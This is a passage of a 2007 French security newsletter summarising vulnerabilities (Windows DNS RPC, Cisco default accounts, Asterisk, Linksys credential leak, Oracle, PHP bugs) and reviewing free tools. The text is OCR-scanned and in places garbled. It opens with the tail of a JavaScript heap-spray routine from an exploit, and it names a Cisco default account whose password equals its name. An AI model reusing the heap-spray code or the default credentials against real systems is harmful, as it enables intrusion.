spraySlide += spraySlide;

}
spraySlide =
spraySlide.substring (0, spraySlideSize/
2);
return spraySlide;

}
</SCRIPT>

Faille de sécurité qui affecte les serveurs
DNS RPC [2]

Quelques jours plus tard, ce fdt au tour des serveurs
DNS Windows, utilisant l'interface RPC, de devenir le
vecteur préféré de diffusion de plusieurs virus. En ef-
fet, une faille de sécurité, toujours non corrigée
(KB935964), résulte d'un probléme lié a l'interface
RPC. La gravité de la faille est intrinséquement liée au
service RPC rarement disponible sur un serveur DNS
accessible depuis Internet.

L’envoi de requétes RPC judicieusement concues
permet aux pirates de causer un débordement de
tampon et de prendre ainsi le contréle du serveur
DNS vulnérable.

© xMCO Partners - 2007

Le virus “W32/Delbot-Al” fut le premier a se diffuser
sur la toile. Une fois le serveur infecté, le ver commu-
nique via un canal IRC avec ses auteurs afin d’en-
voyer les informations volées et de recevoir des
commandes a exécuter.

En attendant la sortie du correctif, le deuxieme mardi
du mois de Mai, nous vous conseillons de ne pas ex-
poser les ports RPC sur un serveur DNS accessible
depuis Internet.

Réseau et VoIP
Cisco corrige plusieurs de ses produits

De nombreux produits Cisco ont été corrigés. Diffé-
rentes vulnérabilités de déni de service ou de vol d’in-
formations ont été découvertes.

Le premier probléeme affectait les téléphones Cisco
Phone 7940/7960. L’envoi de données SIP malfor-
mées provoquait un redémarrage des équipement
VoIP. Une preuve de concept a immédiatement été
publiée sur les sites spécialisés.

Peu de temps apres, plusieurs vulnérabilités ont été
corrigées au sein de WCS (Cisco Wireless Control
System). Un mot de passe par défaut permettait d'ac-
céder en lecture/écriture a certains fichiers.

Enfin, un autre compte par défaut (ntcuser) était ajou-
té au systeme utilisant CNS (Cisco Network Services).
En connaissant ce compte (mot de passe égal au
nom du compte), le pirate avait accés au systeme
ainsi qu’a la configuration du logiciel.

Asterisk également vulnérable a des atta-
ques de dénis de service.

Asterisk, le logiciel VolP Opensource, fut également
touché par plusieurs vulnérabilités relativement impor-
tantes. Certaines requétes SIP rendaient I'application
inaccessible. Or ceci peut influencer considérable-
ment le fonctionnement de I'architecture VolP du ré-
seau ciblé.

[12]
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Les routeurs Linksys perdent la téte

Enfin, pour conclure cette partie dédiée aux équipements
réseaux, le routeur Linksys WAG200G, utilisé par les parti-
culiers, renvoyait des informations critiques suite a la récep-
tion de quelques paquets UDP
sur le port 916. Le pirate posi-
tionné sur le réseau local pouvait |
alors récupérer les données sui-
vantes :

¢ Mot de passe de linterface
web

¢ Nom d'utilisateur PPPoA

& Mot de passe PPPoA

¢ SSID

¢ Passphrase WPA

¢ Modéle du produit

Informations plus qu’utiles pour
un simple utilisateur du réseau...

Bases de données et PHP
Publication du correctif trimestriel d’Ora-
cle [3]

Comme a son habitude, Oracle a corrigé de nombreuses
vulnérabilités lors de la publication de son correctif trimes-
triel. 36 failles de sécurité, qui affectent principalement Ora-
cle 10g, ont été rendues publiques quelques semaines
apres leur découverte. Les détails techniques n’étaient pas
exhaustifs et concernaient, principalement, des injections de
commandes SQL, des dénis de service et la possibilité de
mener des attaques de Cross Site Scripting.

Month Of PHP Bugs

Aprés le mois des failles Mac OS X et celui des vulnérabili-
tés des navigateurs Internet, un autre projet, dédié cette
fois-ci aux problemes identifiés au sein de linterpréteur
PHP, a permis a deux pirates de publier plus de 30 failles de
sécurité. La plupart d’entre elles concernait des problemes
locaux qui nécessitaient aux pirates d’obtenir un accés au
serveur pour déposer une page PHP spécialement congue
a cet effet. Plusieurs exploits étaient propos€s pour appuyer
les dires des auteurs.

the Month of PHP Bugs

7
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Les techniques d’attaques évoluent...

Les pirates inventent sans cesse de
nouveaux procédés pour piéger leurs
victimes. Le Phishing (méthode qui
consiste a envoyer un e-mail en masse
dans le but d’inciter un internaute a
visiter un site contrefait) s’est ra-
pidement développé, et fit longtemps

le procédé favoris des malfrats.

Aujourd’hui, de

nouveaux modes ap-

paraissent. Comme

ce fGt le cas pour

les clefs USB véro-

lées laissées déli-

bérément dans le

parking d’une ban-

que. Vous l’avez compris ce *“cadeau
empoisonné” contenait un virus, chargé
de récupérer les données personnelles
(mots de passe) et de les envoyer a un
serveur tiers.

Plus récemment en-
core, des pirates
ont acheté des pu-
blicités Google qui
apparaissaient lors
de 1l’affichage des
résultats d’une

recherche. Les si- [ieliliehatttl
tes pointés par ces
liens sponsorisés
exploitaient une
récente vulnérabi-
lité d’'Internet
Explorer...

« 32 400 000 pour ordinateurs. (0,11 s
Liens commerciaux
Achat ordine_xte_ur Q0ﬂ6b|e
:1;52: :jl:;arwalln;iirzee Fuur 999€
[N — |

Ordinateurs
Achetez votre ordinateur a

Ordinateurs C_1FR
_es demiéres Offres [,
Ordinatewrs |

o, page-offres, i

Faut-il devenir paranoiaque? Attention
ce document est peut étre piégé!!!

Références :

2k [1] Vulnérabilité ANI (MS07-017)
http://www.microsoft.com/france/technet/security/bulletin/ms
07-017.mspx

2k [2] Vulnérabilité DNS (KB935964)
http://www.microsoft.com/technet/security/advisory/935964.
mspx

2k [3] Correctif Oracle Avril 2007
http://www.oracle.com/technology/deploy/security/critical-pat
ch-updates/cpuapr2007.html
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Liste des outils bien utiles :

Chaque mois, nous vous pré-
sentons les outils libres
qui nous paraissent utiles
et pratiques.

Les logiciels abordés sont
variés : utilitaires de
développement, sécurité et
autres programmes utiles,
voir indispensables, au
sein d’une entreprise.

Ce mois-ci, nous avons
choisi de présenter les
logiciels suivants :

e UltraBackup: 1l’outil de
de sauvegarde/restaura-
tion

» Google Reader : le ges-
tionnaire de flux RSS de

Google

» Google Agenda : le calen-
drier en ligne

 Emacs 5 1’éditeur de
texte

Vous trouverez a la fin de
cette section un tableau
récapitulatif des versions
de tous les logiciels pré-
sentés lors des précédents
numéros de 1’« Actu-Sécuri-
té ».
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UltraBackup

Sauvegarde/Restauration

Version actuelle

4/2007

Utilité

Type

Outils Systéme

Description

Ultra Backup est un logiciel de sauvegarde et de restauration com-
plet. Un grand nombre d'options est proposé ce qui permet aux dé-
butants comme aux experts de réaliser sans probléme tous les types
de sauvegarde (incrémentale, différencielle...). La restauration est

tout aussi efficace et rapide.

Capture d’écran
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La dermigre sauvegarde n'est pas arivée 3.

Irivée &...

Téléchargement

Ultra Backup est disponible sur Windows (toutes versions) a
’adresse suivante :

Ultra 2007:

ftp://anonymous.ftp.ovh.net/astase/windows/ub2007setup.exe

Sécurité de Poutil

Aucune faille de sécurité n’ a été identifiée

Avis XMCO

Les outils de sauvegarde performants et libres ne sont pas lé-
gions. De plus, les interfaces sont souvent confuses. Ultra
backup fait partie des logiciels les plus efficaces . Doté d'une in-
terface particulierement soignée, ses performances n'ont rien a
envier aux concurrents. Les options de recherches et de restau-
ration ainsi que les rapports générés en fin de sauvegarde sédui-
ront les administrateurs les plus pointilleux.
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Google Reader

Aggrégateur de flux RSS

Version actuelle

Utilité B T R T
Type Utilitaire
Description Depuis quelques années, Google a pris I'habitude de développer ses

propres logiciels. Ces derniers sont toujours plus innovants. Google
Reader ne déroge pas a la regle. Cet outil permet de gérer, de clas-
ser et de lire facilement ses flux d'informations sans avoir a installer
le moindre fichier sur son ordinateur. Seul un compte Google permet
d'accéder a ce service en ligne. Toutes les fonctions attendues sont
présentes (sélection des news intéressantes dans un dossier dédié,

partage d'informations, réactivité) sans aucune saturation.

Capture d’écran
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Téléechargement

Google Reader est disponible a I'adresse suivante. Seule la création

d’'un compte Google est nécessaire:

http://www.googlefr/reader

Sécurité de Poutil

Aucune faille de sécurité n’ a été identifiée

Avis XMCO

Notre service de veille utilise tous les jours cette application. Elle
nous permet de gérer plus d’'une centaine de flux sans aucun ralen-
tissement. Google Reader se distingue de ses concurrent en propo-
sant des services en ligne accessibles et ce, depuis n'importe quel

ordinateur connecté a Internet. En deux mots : le meilleur !!!
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Google

Calendrier en lignhe

Agenda

Version actuelle 3.0

Utilité [ T TR T

Type Utilitaire

Description Google Agenda est une autre trouvaille. Google propose un calen-

drier en ligne qui permet de gérer son emploi du temps facilement et
de le partager avec d’autres collaborateurs ou d’autres amis. L'inter-
face est simple et le service accessible depuis n’importe quel poste
connecté sur Internet et ce, toujours avec un compte Google. Vous
pouvez également synchroniser votre agenda avec un logiciel local.

Capture d’écran
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Téléchargement

Google Agenda est disponible a I'adresse suivante. Seul la création
d’'un compte Google est nécessaire :

http://www.google.com/calendar/

Sécurité de Poutil

Aucune faille n’a été publiée a ce jour.

Avis XMCO

Google a une nouvelle fois inventé un principe de partage en ligne
simple et pratique. Google Agenda regroupe toutes les fonctionnali-
tés utiles : partage, systeme d’alerte par e-mail ou par SMS des
événements a ne pas rater, importation d’agendas externes, vision
journaliére, hebdomadaire et mensuelle...encore une trouvaille qui
séduira les business men.
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Emacs

Editeur de texte

Version actuelle

Utilité
Type Bureautique/Développement
Description Emacs est une famille d’éditeur de texte connu utilisé par la plupart

des amateurs de systemes Linux/Unix. Adoré et chéri par les déve-
loppeurs, cet utilitaire reste réservé aux experts qui raffolent des in-
terfaces en mode console avec des options compliquées et souvent
difficiles a retenir. Malgré tout, les amateurs de lignes de comman-
des sont formels : aucun éditeur de texte n’est aussi puissant.

Capture d’écran

shows the elisp as one very long line

bpalmer> Retr

(lambda (hal
(values (lambda ()
(apply handler
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-uu-:---F1 hermes.scm 79% (226,8) darcs/up-to-date [#i] (Schemed8 Paredit)----50 19:39

Téléchargement

Ce logiciel est disponible pour Windows, Mac OS X et Linux a
I’adresse suivante :

http://www.gnu.org/software/emacs/emacs.html

Sécurité de Poutil

Aucune faille n’a été publiée a ce jour.

Avis XMCO

Emacs reste I'éditeur de texte le plus utilisé par la communauté
Unix. Contrairement a Vi ou VIM qui sont relativement difficiles
pour des débutants, emacs est assez intuitif bien que la connais-
sance des raccourcis s’averent indispensable pour une utilisation
optimale.
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